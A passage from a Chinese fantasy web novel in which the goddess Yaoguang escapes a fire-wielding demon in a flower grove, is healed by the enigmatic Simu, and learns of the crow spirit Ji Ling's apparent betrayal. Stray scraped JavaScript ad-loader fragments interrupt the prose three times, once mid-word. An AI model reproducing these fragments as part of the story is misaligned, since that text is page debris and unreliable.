穿过阵法后,百姓们如惊弓之鸟,顺着先前瑶光的指引奔逃。终于,在他们筋疲力尽之际,一座木屋映入眼帘。木屋大门敞开,青夫人正焦急地伫立门旁,翘首期盼着他们的到来。 走得较前的一位妇人,还未踏入门槛,便已累得气喘吁吁,瘫软在地。她双手撑着地面,竭力喘息着,口中不停地呼唤:“青夫人,青夫人……” 青夫人听到那熟悉的声音,心中一喜,连忙摸索着,从一旁早已准备好的茶壶中倒出一杯温热的茶水,递给妇人。妇人接过茶水,如同久旱逢甘霖,迫不及待地咕嘟咕嘟灌入口中。喝完后,她长舒一口气,眼眶湿润,哽咽道:“青…青夫人,见到你真是太好了……” 青夫人欣慰地拂过妇人的背,温柔道:“赵大姐,你逃出来就好了。” 渐渐地其他城民陆续赶来,但青夫人始终没听到青稚的声音,不由得问:“我家青稚呢?” “青稚哥哥跟神女姐姐,还有其他人被留下了。”小女孩说。 坐在小女孩旁边的妇人边喝水边着急道:“哎呀!本来都快一起逃出来了,但是好像有什么东西袭击了他们,那个什么阵瞬间关闭消失,他们都被迫留在那儿了。” 听他们这么说,青夫人紧弦着的心可一点儿都放不下来,眼皮不停在跳。 突然,青夫人像是感到剧痛袭来,身体仿佛要被撕裂一般,吐血不止,直接昏厥过去。 “青夫人!” “青夫人!你怎么了!” 5. 下山历劫入三生(五) 痛! 剧痛如潮水般席卷而来,将瑶光整个人淹没其中,仿佛要将她撕碎、碾碎,化为齑粉。她强忍着剧痛,却仍忍不住发出一声痛苦的呻吟。若不是她在不周山这数百年经历过无数次神降的剥骨般的洗涤,这点疼痛怕是能让她痛到昏厥过去。 为何?刚才为何失去控制? 她疼得跪倒在地,青稚昏迷不醒,只剩几名百姓惊恐地跌坐在一旁。 秦威这一招守株待兔,真的得来全不费工夫。正值六重紫在场,秦威又想趁机表现一番,正想重施故技,把瑶光和青稚给杀了邀功。 然而,还未等他将掌击出,没想到半路杀出一个黑衣人。黑衣人身形看似羸弱,但动作迅捷,出手狠辣,招招致命,秦威根本不是他的对手,几个回合下来就被打得落花流水,最终被撞在石墙上,昏死过去。 “大人!” “大人!” “秦威大人!” 带头的不在,趁着这虎头小兵们兵心大乱,黑衣人迅速扶起昏迷不醒的青稚。他探手于青稚鼻息之下,确认只是被妖气震晕后,这才转首向瑶光及其他百姓焦急询问:“诸位可有损伤?还能否行路?” “多谢大侠救命之恩!” “无事,我们还撑得住!” 百姓纷纷感激涕零。 过了好一会儿,瑶光总算是缓过神来,她似是认出了黑衣人,轻轻挥手示意:“我无大碍,只是青稚被妖气震晕,你且先带他及其他百姓离去吧。” 黑衣人将青稚靠在自己臂弯,又陆续搀扶起其他百姓,看向瑶光,不解道:“那你呢?” 瑶光素手一挥,召回诛恶,樱唇轻启,一字一字铿锵有力:“你们打不过那个骚包的。我将他引开,加上我唤神器庇护你们,你们还有一线生机。” 黑衣人闻言,目光中闪过一丝犹豫,沉声道:“要走,一起走。” 瑶光秀眉紧蹙,话语中带着一丝焦急:“快走吧,我答应了他还有青夫人会把你们都救出去的。”说着,她也不顾黑衣人的阻拦,径直推开了他,催促着:“时间紧迫,再不走就来不及了!” 黑衣人看了眼臂间昏迷不醒的青稚,深吸了一口气,眼神凝重地朝瑶光点了点头,“保重。” 紧接着,他背起青稚,领着百姓们向城东方向疾行。 群龙无首的虎头小兵们眼睁睁地看着到手的肥肉逃走了,欲要追赶,却被诛恶剑阻挡,吓得他们汗毛直立,不敢再贸然向前。 看着黑衣人他们消失在视野里,瑶光终于松了一口气。她抬手抹去嘴角的血迹,对着六重紫投以挑衅的目光:“听说你们魔族最近缺修为大补丸,我可是修炼了数百年的神灵,你敢吃吗?” 若能得到修炼了数百年的神灵,无疑是能让他魔力更近一层。 六重紫饶有兴致地打量着瑶光,仿佛是在欣赏一件精美的陶器。他拍了拍衣衫上的灰尘,左手揽胸,右手扶颌,歪着脑袋,悠然笑道:“的确肥美。” 瑶光听罢,眼中闪过一道寒芒,她冷哼一声,“那就看你有没有那个本事了。”话音刚落,她化作一道流光飞往三生城郊。 六重紫轻笑,一路跟在瑶光身后,步履不紧不慢。 不知不觉中,瑶光竟逃到了一处花林。她看着眼前白花纷飞,绮丽芬芳,忽然想起青稚曾说过三生城有一处三生花林,可克妖魔,难道就是此处? 三生花天克妖魔,一时半会儿那个骚包应当不敢肆意靠近。在此期间,有三生石和三生花的灵力加持,她必能迅速伤愈,到时对付那魔头才有点把握。 瑶光凝神,盘膝坐下,开始运转体内仅剩的灵力疗伤。林中的三生石和所有三生花的力量逐渐被她吸收,在她体内流淌,修复着她的伤势。 可天不遂人愿,她的小算盘看似周密,但对方是思路清奇的六重紫。 还未过一个周天,六重紫已来到了三生花林边上,嘴角微勾,他右手一翻,掌心上便燃起熊熊业火。作为魔族,他虽怕三生花,但若没有了它,他便再无畏惧可言。 随着他轻描淡写地一挥手,整个三生花林瞬间沦为炼狱,瑶光怔怔地看着眼前这一幕,深恶痛绝。 “你疯了吗?!你们妖魔不是视三生花露为至宝吗?若花都烧没了,又何得花露?!” 六重紫的目光肆无忌惮地落在瑶光身上,缓缓开口道:“天天采这些花露,我已等不及了。还不如吃了你来劲。” 瑶光浑身一颤,咬紧牙关,强忍住心底的恶心,环顾四周。业火肆虐,蔓延的速度恐怖如斯,她恐怕还没来得及恢复,就要被烧死或熏死在这火海中。 并且,以她目前的状况,仅剩的灵力根本不够支撑她再施展移身咒。已经别无他法了,只希望三生花林还能再撑一会儿,她紧闭上眼,继续聚精会神地疗伤。 火光烛天,伴着业火的掩护,六重紫大摇大摆地朝瑶光步步逼近。他道:“你要是识相自己出来,说不定,我可以把你养肥几天再吃了你。”声音中带着一丝戏谑,眸中闪过一丝狡黠。 下一秒,他又作出一副烦恼的样子,无声地念起咒语。只见他周身笼罩着一层奇异的光芒,仿佛在经历着某种蜕变。 光芒散去,六重紫竟换了一副模样,银发如雪,身姿挺拔如松,却没有面孔。 瑶光正专心加快打坐疗伤,全然没有察觉到六重紫的变化,反倒是六重紫怔怔地抚摸着自己空无一物的脸庞,心中思绪翻涌。 不对劲!他六重紫,乃三界最强的幻魔,最擅长幻化。他的杀人癖好是幻化成他人心中最重要最爱之人,以其相凌虐他,引起他人身心崩溃,再狠下毒手,从未失手过,这次怎失效了? 难道是她有什么特别之处? 六重紫眸光凛冽地望向瑶光,越发对她产生了兴趣。于是,不顾三生花对他魔力的克制,他摇身一变,恢复原身,硬是飞身跃起朝瑶光擒去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瑶光全神贯注,基本已是他囊中之物。就在他近乎得手是,原本晴空万里的天穹,骤然乌云密布,阴沉得仿佛要压塌下来一般。 滚滚乌云中,更是不时传来阵阵鬼哭狼嚎声,阴森诡异,令人心生不安。 紧接着,天降血雨,猩红的血珠倾泻而下。所到之处,皆被腐蚀殆尽,发出滋滋的声响,空气中弥漫着浓浓的血腥味儿。 血煞雨,天地异象之一,可腐蚀万物,其中煞气更是专克魔族。 活了几百年的六重紫,怎会不知这等凶险? 他倏地抽身飞回,全神贯注,就地立界,以此来隔绝血煞雨。然而,雨势愈加猛烈,煞气愈发浓厚,光靠结界根本不是长久之计。 渐渐地,结界也开始被血煞雨腐蚀,血红色的雨珠渗透进来,腐蚀着六重紫引以为傲的皮囊。 “啊!!” 六重紫痛呼出声,他眉头紧锁,心疼地看着自己白皙的肌肤变得焦黑。 血煞雨虽然腐蚀三生花,但业火同时也被它浇灭,六重紫已是无法再靠近三生花。眼看着猎物近在咫尺却无法抓住,在无计可施之下,他只好撤退。 六重紫凌厉抬眸,目光炯炯地盯着瑶光,语气轻佻道:“本座暂且放你一马,日后再来取你性命,你可记得养胖自己等着本座哦。” 说罢,六重紫将扇挡在下颚前,瞥了一眼染红的天,嘴角勾起一抹古怪的笑。 扇一合,他消失在原地。 空气中的魔气散去,藏匿在三生花树上的瑶光睁眼见六重紫离去,心中暗喜,但看着这诡异血雨,又丧气起来。虽然暂时得到了三生花树的庇护,但一旦三生花亦被腐蚀殆尽,她又如何能脱离这场血煞雨? 连六重紫这么魔力高强的人都无法撑过一刻,何况是受了重伤的她? 就在她进退两难之际,在蒙蒙血雨间,一抹红影出现在她的视野里。只见一男子身穿红衣,身型高挑瘦弱,却挺拔如在严寒的雪松。只可惜他撑着把白伞,无法显露真容,只能看到他散落的发乌黑亮滑,如墨般流淌在他肩上,优雅姿仪。 瑶光仔细打量着,他手中的伞看似普通纸伞,却没有被血煞雨腐蚀,甚是奇怪。 赌一把吧。 瑶光毅然跃下树,闯进男子伞下。 男子被她撞了个措手不及,险些向后仰倒。瑶光担心他被血雨伤着,忙不迭搂住他的腰,让他靠紧自己,瞬间暗香扑面。 也就是在那一瞬间,时间仿佛停滞了,瑶光触碰到男子的那一刻,心中冒出一丝熟悉感。她凝视着他衣襟上粗糙的暗金色绣纹,视线上移,清晰地看见了他的面容。 他宛如被女娲亲手打造的仙子,俊美得不啻画中壁人,矜贵疏离,又像一朵随风飘来,因误入而被染上血迹的白月季。 男子琥珀般的双眸正目不转睛地看着瑶光,像深海般深邃、神秘,却又温柔至极,撩人心弦。 而,他袖中似有寒光闪过。 6. 下山历劫入三生(六) 意识到自己还搂着他的腰,瑶光顿时脸上一红,赶紧放开手赔不是:“公子,抱歉,是瑶光冒昧了。” 男子沉默不语,目光始终落在她身上。 瑶光被他灼热的目光看得有些心慌,不禁移开视线,环顾四周。这才发现,周围的树木和花草都被那血色的雨水侵蚀得面目全非,散发着一股令人不适的气息,还是尽快离开为妙。 “公子,这血色般的雨有些奇怪,碰到就会被腐蚀。”瑶光边说着,怕男子不信,还举起刚刚被淋伤的手臂给男子看,继续道:“公子这伞貌似能挡这血雨,我能否同公子一起避雨而去?” 瑶光经历方才一战,身上尽是血迹污迹,甚是狼狈,抬起手时,宛如一只迷路小犬,可怜兮兮。 血雨霎时停下,男子袖间有血雾隐隐冒出。 就在瑶光恍惚间,他伸出手,紧紧地握住了她的手腕,轻声道:“你受伤了。” 瑶光低头看去,男子的手骨节分明,玉砌似的。但是却好冰,冰凉刺骨,就像被深海里的冰水浸泡过一样。一碰到他的手,她便感到一股冰寒涌入体内,让人不禁打了个寒颤,想要抽回手却被男子牢牢抓住。 他将手覆盖在她被血雨腐蚀的伤口上,伤口瞬间愈合,连疤痕都看不到。 瑶光心中震惊不已,抬头看向男子,却见他正用那双深邃的眼眸凝视着自己,眼神复杂。下一秒,他一把将她拥入怀中,冰凉的手轻轻地抚摸着她的背脊。 瑶光从未与他人如此近距离的触碰,一时间竟有些不知该作何反应。 “嘶——” 而在她看不到的地方,男子双眼光芒流转,寒气瞬间侵入她骨髓,使得她忍不住倒吸一口凉气,额头上渗出细密的汗珠,令她浑身战栗。然而,那股寒意却如过客般短暂,转瞬即逝,取而代之的是一股暖流,缓缓流淌在她的四肢百骸,驱散了原本的疼痛,令她感到无比轻松。 男子垂下眼眸,长长的睫毛在眼睑上投下淡淡的阴影。片刻之后,他抬起头,眼中光芒恢复如常,把手缓缓离开瑶光的背,声音如清泉般流淌,带着一丝磁性:“我暂时清除你体内的妖气,如今妖气无法在你体内冲撞,应很快便散去。” 这样轻易便将伤疗愈了? 瑶光大喜,如获至宝般看向眼前的男子。她心想,青稚方才也受了重伤,正巧遇到了位神医,也许能帮他医治一番。情急之下,她恳求道:“公子可是话本中常说的神医?我的朋友被妖气震伤,请问神医是否也可以帮他治疗?” 男子没有立即回应,而是静静地凝视着瑶光。 眼见男子不语,瑶光以为他对自己不信任,便连忙拍着胸口保证:“神医不必担心,我乃不周山神灵瑶光,绝对不会伤害到神医你的安危。” 沉默了一会,男子终于开口道:“司幕。” “司幕?”瑶光重复了一遍,心中却泛起一丝疑惑。这个名字似乎有些熟悉,却又想不起来在哪里听过。 “叫我司幕,我的名字。”他盯着瑶光道:“黄河落九司,长江幕千里的司幕。” 黄河落九司,长江幕千里...... 司幕的话语如同一曲悠扬的古琴曲,缓缓流淌在瑶光的脑海中,唤起了一个画面,如梦似幻,朦胧而又清晰,仿佛就在眼前。 在那些若隐若现的片段中,她正背对着喧哗的闹市,坐在一条安静的小溪旁。溪水潺潺流淌,而她的脚浸在水中,不停地晃动与身旁的男子嬉戏玩闹。 正如以往一样,她看不清男子的面容。她温柔地伸手在男子耳旁拂过一缕发,他的发丝就如司幕公子一样,顺滑且乌黑透亮如墨。她心中悸动,仰望璀璨的星空,星辰闪烁,如同一颗颗璀璨的宝石,点缀着夜幕。她情不自禁地吟诵着:“黄河落九司,长江幕千里。郎君知我意,浮云晓星沉。” “浮云......晓星沉......” 司幕似乎是听到了瑶光的话,握紧了手中的伞柄。 晃过神来的瑶光意识到自己的失态,连忙扯开话题,问道:“司幕公子是要探亲么?”她又斟酌了一下司慕的穿着,墨发红衣,脱口而出:“我初见公子之时,还以为你是去嫁人路上迷路的新郎呢。” 话一出口,瑶光便意识到自己说错了话,连忙摆手补救道:“啊不,我是说,以为你要去娶妻路上迷路的新娘。啊不,都不对。” 她为自己口不择言懊恼,怕自己的胡言乱语会惹得司幕不快,然而,司幕却突然收敛了那股压抑的气息,嘴角缓缓勾起一抹浅笑,目光灼灼地盯着手足无措的瑶光,轻声道:“也许……就是呢。” “就是?”瑶光怔怔地望着司幕,脑海中思绪纷乱,他要娶妻还是嫁人? 司幕似笑非笑,缓缓道:“去探亲。” 瑶光闻言,如释重负,问道:“去哪探亲?” “三生城司府。” * 而此时,三生城中某隐秘处。 青稚正因妖气在体内横冲直撞昏迷不醒,他沉浸在梦境之中,仿佛回到了那段悲惨的过往。 “阿伶,阿稚生辰快到了,我们为他准备什么礼物好呢?” 城东井边,沅儿望着青稚生辰临近,苦思冥想为其准备何种礼物,却始终不得头绪。她只好抓住季伶的衣角,向正在提水的季伶求助。 躲在一旁偷听的青稚心中窃喜,沅儿妹妹给他送礼物,他定要好好收藏。 将提好的水桶放置一边,季伶像兄长一般温柔地抚上沅儿的发,轻声道:“沅儿放心,我已经准备好了。” 季伶发尾的两根长辫随着乌黑的短发在风中飘扬,他面容精致,虽有些脸色惨白,却透露着只属于异族的美。而沅儿小小年纪,也已长得明艳美丽,俩人站在一起,恰似一对璧人。 看到季伶和沅儿亲密的举动,青稚心生醋意,毫不客气地冲上前去,揪住季伶的手,挡在他们中间。 “季伶,你这个家伙,知道我喜欢沅儿还老跟她动手动脚。”青稚凑过季伶耳边,对他低声咒骂。 季伶眼神瞬间暗淡,但也只是一刹那罢了,随即恢复平静,对青稚坏笑:“那你就好好加油吧。” 青稚轻轻锤了季伶一拳,季伶笑着躲开。 在一旁看着的沅儿,笑意涟涟地看着他们玩闹,自言自语道:“如果我们一直都能这样该有多好啊。” 这会儿才反应过来的青稚双手交叉于胸前,连忙嘴硬否认道:“我才不要。” 深知青稚这种嘴硬心软的个性,季伶不在意地笑了笑,反而是沅儿一脸认真地揪着青稚的耳朵,凶道:“不要也得要。” “唉哟!唉哟!”青稚疼得直呼饶命。 突然,雷声轰鸣,天色异变,百姓们纷纷惶恐起来。 “宝泰道仙目睹百里开外,有数千妖魔来势汹汹,直奔我们三生城而来!宝泰道仙已在三生花林设下阵法,请百姓们跟随我前往三生花林避难!” 林大人带着一群府衙捕快在城中边跑边喊,宝泰道仙更是手持拂尘,飞驰在前。 青稚心中一紧,想起在郊外家中的阿娘,顾不得有人在旁,眼中红光一亮,像是看到了什么不好的东西,连忙往家中跑。 季伶见状,将惊慌失 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 措的沅儿交给不远处的林大人,便紧追着青稚的脚步追去。沅儿心中不安,朝远去的身影担心地喊道:“阿伶小心!保护好阿稚他们!” 青稚凭借天性,轻松地避开所有妖魔会出现的地方,匆匆奔向家中。 还不等青夫人反应,他便着急地拉着青夫人边走边说道:“阿娘,快走!妖魔要来了!宝泰道仙和林大人他们要我们去三生花林避难!我们赶紧走!” 看似淳朴的青夫人也是见过世面的人,临危不乱地整理了一番,便不慌不忙地跟着青稚离开。 然而,还没等他们走出门外,在青稚没有专心用千里眼观察周围时,附近巡逻的虎妖小兵们已嗅到了人族的气息,杀到他们家门外。 此时四面楚歌,青稚与青夫人陷入绝境。就在青稚准备与虎妖小兵们硬碰硬时,空中一股黑雾朝他们飞来,他定睛一看那是成千上万的乌鸦群。乌鸦们直冲虎妖小兵们身上猛啄,啄的他们毫无还手之力,血肉横飞,痛嗷连连。 其中一只乌鸦异常靓丽。它身姿飘逸,飞身而下,变幻成一羸弱少年。青稚见后,惊喜道:“季伶,我就知道你会来救我们!” 季伶朝他点了点头,随即将青稚和青夫人带往林大人他们之前所说的三生花林逃去。 好不容易逃到了三生花林,在阵外等待许久的沅儿看到他们后,喜出望外地连忙向他们跑去。她一边扶着疲惫的青夫人,一边欣喜地说:“你们都平安到了,太好了!” 放松下来的季伶突觉腰间空荡荡,慌张地摸过去,惶张道:“糟了!不见了!” “什么不见了?”青稚问。 “重要的东西。”季伶看了一眼青稚,咬紧唇,打算往阵外走,“我要回去拿。” 见季伶又要入虎穴,青稚连忙拉住他:“你疯啦?外面都是妖魔!” 季伶扒开青稚的手,目光坚定地说:“相信我,等我回来。” 见季伶如此认真,青稚自小与他长大,知他妖力相当,确实应该不会有什么危险,便放开了手,任其离去。 可没想到,左等右等,青稚等待的不是季伶的安全回归,而是入阵的季伶,以及他身后的六重紫和一众嗜血如命的妖魔。 他还记得,六重紫那时靠在季伶身后,落拓不羁,眸光如刀地看向他们,对季伶柔声道:“谢谢你帮我们找到他们呀,小乌鸦。” “啊!!!!” 梦境之中,青稚的心被背叛的利刃狠狠刺痛,现实之中,他亦被妖气侵蚀得痛不欲生,发出阵阵凄厉的哀嚎,冷汗涔涔而下。 目睹此番惨状,一位黑衣人眉头紧锁,心急如焚,速即将一枚晶莹剔透的莲花瓣放入青稚口中,让他含着。可即使如此,青稚的痛苦丝毫没有减轻。 黑衣人焦急地向不远处角落里端坐着的白衣人求助:“师傅,我明明已喂他含下莲瓣,为何他仍未好转?” “他被妖气所伤,莲瓣虽集日月精华,有疗伤之效,但无法迅速驱逐他体内冲撞的妖气。唯一的办法便是先以妖气抑制妖气,再缓缓用仙术附上莲花药浴疗伤。”白衣人缓缓开口,声音清冷而高洁,如山涧清泉般沁人心脾。 妖气抑制妖气? 黑衣人灵光一闪,顾不得其他,急忙撕下面罩,弯下腰,低下头,将自己的妖气缓缓注入青稚口中。随着妖气的不断注入,青稚的脸色逐渐有所好转,黑衣人这才稍稍松了口气,眼中透露着一丝欣喜。 可是,站在一旁本以为已经脱险的几名百姓看到黑衣人真容后,他们又开始感到惊恐和不安。 他们异口同声地惊呼道:“季伶!” 7. 可知浮云晓星沉(一) 司府? 瑶光紧随司幕的步伐,缓缓步入三生城内。眼前这座府邸,气势恢宏,精美绝伦,仿佛天宫降世,落入凡尘。雕梁画栋间,尽显奢华气派。 一靠近司府有,她便已感受到一股来自神器的强大气息。 她心中疑惑,难道诛恶剑也在这座府邸之中? 然而,更令她不解的是,她在入城之时明明绕城一周细查,却从未见过这座府邸的踪影。这座府邸究竟是如何凭空出现? “司幕公子,这……” 瑶光侧过头,看向身旁气度翩翩的司幕,欲要问这府邸的来历。司幕却对她微微一笑,快步上前推开了府邸的大门。 一踏入司府,瑶光便被眼前的景象所震撼。春意盎然的景色映入眼帘,婉转清脆的鸟鸣声回荡在花木扶疏之间,与城外三生城的萧索形成了鲜明的对比。 司幕领着前行,她紧跟其后。 明明全城的人都已经被妖魔所抓,这整座府邸怎还会如此一副井然有序的模样,仿佛每日都有人精心打理一般? 而且空气中还弥漫着淡淡的仙气。 沿着幽深的长廊漫步,两旁的廊柱上雕刻着吉祥如意的纹样,倚栏美人婀娜多姿,彩画栩栩如生。隔墙之上,更是嵌着精致的什锦灯窗,透过光影,流光溢彩。 瑶光纤细的手指轻轻拂过廊柱,竟连一丝尘埃也未沾染,这着实令她感到匪夷所思。 “司幕公子,为何明明城中人全被俘虏,但这司府却依然如故?”瑶光问。 司幕似乎早料到她会有此疑问,淡然答道:“司府众人早已举家远迁,只留下我一远房兄弟在此。待你见到他,便会明白了。” 瑶光似懂非懂地点了点头,继续跟在司幕身后。 穿过长廊,瑶光目光不经意间瞥见不远处有一座小湖泊,湖光山色,美不胜收。清澈的湖水中游动着成千上万条珍异鲤鱼,五彩斑斓,煞是好看。湖面上还盛开着许多荷花睡莲,亭亭玉立,姿态万千。其中尤为引人注目的是一朵素有“花中君子”之称的并蒂莲。 湖心处有一座精致的湖心亭,四面环水,清风拂过,亭中挂着的风铃叮铃作响,如天籁般悦耳动听。若是能够在那亭中乘凉歇息,欣赏眼前美景,必定十分惬意。 “乌鸦精你脱我衣服做什么?!” 忽然,远处传来青稚的呼救的声音,听起来中气十足,看来他应无大碍。 “你敢过来我跟你拼命!”他的声音回荡在庭院间。 不一会儿,一声尖叫响起,随之是是落水的声音,水花四溅。 “瑶光姑娘,请跟我来,我知晓你朋友在哪.。”司幕伸过手,似乎不愿让瑶光过多留意那片湖泊,迅速牵起她,快步离开。 瑶光跟随司幕来到一间居室前,好奇难耐,推开门,打算往屏风内的淋浴间一探究竟。然而,还没看清楚,就被身旁的司幕用他冰冷的手掌捂住双眼,他手指紧密相扣,愣是没留一丝缝隙。 在浴桶中的青稚对季伶保持着时刻警惕,丝毫没有留意瑶光与司幕的闯入。倒是在一旁为青稚施法疗伤的季伶,微微向瑶光他们点头问好后,青稚这才反应过来。 顺着季伶的方向看去,他立马义愤填膺地站起身,指着一旁的季伶道:“瑶光!他就是那个叛徒季伶!快帮我抓住他,替逝去的乡亲们报仇!” 季伶站在一旁,一言不发,单薄的身影显得十分落寞。 视觉被封住之后,瑶光的其它感官更加灵敏,她在空气中嗅到了淡淡的莲花香气,其中夹杂着一丝丝仙道法术的气息。显然,季伶是给青稚施以药浴,并叠加了仙术进行疗伤。 虽然不了解近年来三生城的来龙去脉,但瑶光心知季伶并无害人之心,便劝道:“阿稚,季伶是自己人,别乱来。” “你怎能替叛徒说......” 正准备与瑶光争辩的青稚,突然感到自己身上一阵凉意,连忙双手捂胸将自己浸入水中,只露出一个头,生怕被瑶光看到不该看的东西。他喊道:“有你一个女子,难道没有羞耻之心吗?怎能随便观看男子的身体!” 待他看清瑶光身边还带着一个模样俊俏的红衣男子时,又惊道:“你怎么去引开六重紫,还顺道在路上抢亲了?” 瑶光听青稚没有些许关心自己的意思,气打不到一处,闷声道:“喂,我可是冒着生命帮你们引开了那个魔头,你就不能关心一下我吗?”接着,她又无可奈何道:“而且你只是在疗伤,有什么不能看的,更何况我现在可是‘双目失明’。” 说到这,瑶光握住司幕遮住她眼睛的手,对司幕问道:“司幕公子,我知道你是在护我名誉,但我朋友受了重伤,你能否先帮他疗疗伤?” 掌心中的睫毛轻轻地眨动,刺得司幕有些痒,眼中透露出微微慌乱。他沉默地将瑶光带到看不见淋浴间的一处软垫上坐下,将手从瑶光脸上抬开。 “请瑶光姑娘稍坐片刻,你朋友的伤交给我即可。”司幕说完,穿过屏风,走到了青稚的身后。他的眼中闪烁着琉璃般的光芒,冰冷的手掌轻轻触摸着青稚的背部,故技重施。 瞬间,青稚感觉原本还在自己体内胡冲乱撞的妖气仿佛被吸走一般消失,痛楚也减轻了不少。他欣喜万分,紧握着司幕的手,连声称赞他为神医。 然而,季伶站在一旁目睹着司幕为青稚施行疗伤的全过程,眼神里充满了警惕。 连他的师傅都无法医治青稚身上的伤势,只能想到以妖气抑制妖气之法,这神秘男子怎会如此轻易将妖气除去? 季伶转过头,正想向瑶光询问这人的来历,却发现她已因一天的劳累,沉沉睡去。 或是季伶的戒备心太过明显,司幕扫了他一眼,也并未在意,径直将瑶光抱起,朝着屋外走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去。 瑶光隐约感觉自己仿佛置浸泡在一片湖泊之中,只有上半身露在湖面上,浮浮沉沉。缓缓睁开眼睛一看,周围的景色如早前在司府看到的湖边如出一辙。 眼前湖中央的凉亭中,风铃声作响,一名身穿鹅黄女色襦裙,头扎两个丸子盘发的可爱小女孩正与一名粉雕玉琢的白发小男孩肆意玩闹。而仆人们则规规矩矩地站在凉亭外,静候主子随时差遣。 突然,看他们玩闹间,瑶光感觉到一叶小舟靠近了她,船桨荡起一阵阵水纹,晃得她脑瓜子疼。 “许久不来这湖泊游玩,没想到竟长了一朵并蒂莲。学堂老师说,并蒂莲象征着百年好合、永结同心,待我把这花送给阿迟,他必定欣喜。” 船上的小女孩身穿青色纱裙,兴致勃勃地指着瑶光,对身边的侍女说:“佩兰,你快去帮我把那并蒂莲摘了。” “是的,大小姐。”佩兰命船夫加快手中的船桨,来到并蒂莲前蹲下,正想把手伸向瑶光。 瑶光动弹不得,只能眼睁睁看着佩兰的手越来越近地向自己靠来。就在佩兰触及她的时候,一块石头从她身旁掠过,溅起一片水花,佩兰被吓得跌落在船上,水花更是溅得船上小女孩一身湿。 青衣小女孩怒气冲冲地看向凉亭中的罪魁祸首,指着她喊道:“司瑶,你这是在做什么?!弄到我了!”说着,当她看到司瑶旁边的小男孩后赶紧收起手,装出淑女的样子,端庄地行礼:“阿迟,午安。” 阿迟?瑶光心想,果然又是那个小男孩。 在凉亭中,司瑶着实也觉得自己刚刚的举动有些不妥,于是微微俯首向司钰道歉:“姐姐,刚才是阿瑶太着急了,望姐姐原谅。” 瑶光感受到黄衣小女孩温柔的目光投向自己,仿佛她可以感受到自己的情绪一般,虽然好像不是自己的身体,但是瑶光知道她心中突然跳动的厉害。接着,她又听到司瑶说:“只是此花与我讲他在害怕,你能否给我一个面子,别摘了?” 司钰闻言,也顾不上端庄,气愤道:“花怎么可能说话?!司瑶,你总是要我迁就你,你也别太过分了!” 气氛陷入僵持,站在司瑶身边的阿迟,怯生生地朝青衣小女孩喊了一声:“钰姐姐......” 司钰咬着唇,怕阿迟对自己生出不好的印象,只好生生咽下这口气,转头给佩兰使了个眼色。佩兰不愧是她贴身侍女,一下就知道司钰的意思,命船夫转头划回岸边。 她站在司钰身旁,毕恭毕敬地递上一杯茶,道:“大小姐,你切莫跟小小姐置气,这事被夫人老爷听到就不好了。” 司钰气愤地接过茶杯,狠狠地摔在船面上,咬牙切齿道:“只是一怪胎野种,自持爹爹娘亲对她百般呵护竟对我如此无礼。她也配做我妹妹?!” 茶杯摔落的碎片不小心飞溅到瑶光身上,瑶光只觉手臂处一痛,从梦中惊醒。 8. 可知浮云晓星沉(二) 青稚捂着脸,委屈极了,“喂,我只是担心那只死乌鸦精害你,才一直留在这里看着你,你还打我......”说着,他顿了一下,又道:“瑶光,你的右眼怎么有根彩线?” 青稚的话,拉回了瑶光飘远的思绪。她茫然道:“彩线?” 青稚怕她不信,还取过一面铜镜递给她,“喏,你看看你的右眼角里,是不是有一根彩线?” 瑶光接过铜镜,映入眼帘的是自己熟悉的面容,却在右眼角处发现了一条细细的彩线,它若隐若现,似有似无。 她心中泛起一丝不安:“这……这是怎么回事?” “我也不知道。”青稚摇摇头,突而又咬紧下唇,一字一句地说:“不过,我昨夜做了一个奇怪的梦。” 瑶光闻言,微微一愣,问道:“梦?什么梦?” “我梦见了乌鸦精那个叛徒!”青稚的眼中燃烧着怒火,他紧紧地握着拳头,仿佛要将心中的恨意全部宣泄出来。 瑶光见青稚仍然如此痛恨季伶,她回想起昨日季伶为青稚所做的一切,直觉季伶应是有苦衷,于是她试图劝解道:“青稚,你有没有尝试和季伶好好谈过?也许他有苦衷,事情并非你想象的那样。” “你还在为那叛徒说话!我一起来,就见到那个乌鸦精在那扒我衣服。”回忆起那场景,青稚脸上红得直冒血,磕磕巴巴道:“况……况且像他一样的叛徒,我没把他五马分尸就不错了!” “他可能.....” “他能有什么苦衷,我亲眼看到妖魔是他引进三生花林,亲眼看到他处理沅儿妹妹饱受凌虐的尸体,亲眼看到他虐打手无寸铁的村民们将他们带进小黑屋。他不值得被原谅!” 他人恩怨之事,外人不宜过多干涉。解铃还须系铃人,心病还需心药医,系铃人不解,便无人可解,心上人不医,便无人可医。瑶光自知自己一外人不可插手太多,误会就留给他们自己解开吧。 正当她准备出门找司幕答谢她救治青稚一事,却在屋外看到了季伶。 季伶面无表情地站在屋外,独自一人,孤零零地,仿佛与周围的花香鸟语格格不入。他手中抚摸着一支粗糙的陶笛,带着说不出的悲凉之意。不禁让瑶光担忧他到底听到了多少。 像是察觉到了瑶光的目光,季伶将陶笛收起,装作若无其事的样子,上前毕恭毕敬地向瑶光行了一礼:“大人,晚辈的师傅想见您。” 瑶光眉头微蹙:“你师傅?” 季伶保持着礼仪,回答道:"是的,师傅是这座府邸的看管者,所有进府的人都需要见他一面。" 难道是司幕口中所说的远房兄弟?这司府如此许古怪,怕不是跟他有关系,确实该好好问候一下。 “那便有请你带路了。” “请随我来。” 一路上,两人皆是沉默不语。一个是心事重重,一个是在思索昨夜的梦。 终于,季伶打破了沉默,问道:“大人,恕在下斗胆一问,当时您是如何得知,那黑衣人便是晚辈的呢?” 瑶光尚未从思绪中回过神来,一时没有听清季伶的话,便疑惑地问道:“刚刚你说什么?可否再说一遍?” 季伶停下了脚步,纤细的背影在阳光下显得有些单薄。片刻后又继续向前走去,一边看着自己的脚尖,一边说道:“大人,当时您一看到那黑衣人,就认出了是晚辈,是吗?” 瑶光微微一笑:“我乃神灵,已臻至临化神的境界,对于普通的妖怪自是一眼便能看破。即使你刻意隐藏了气息,你的乌鸦羽毛能够瞒过妖族和魔族,却瞒不过身为神族的我。” 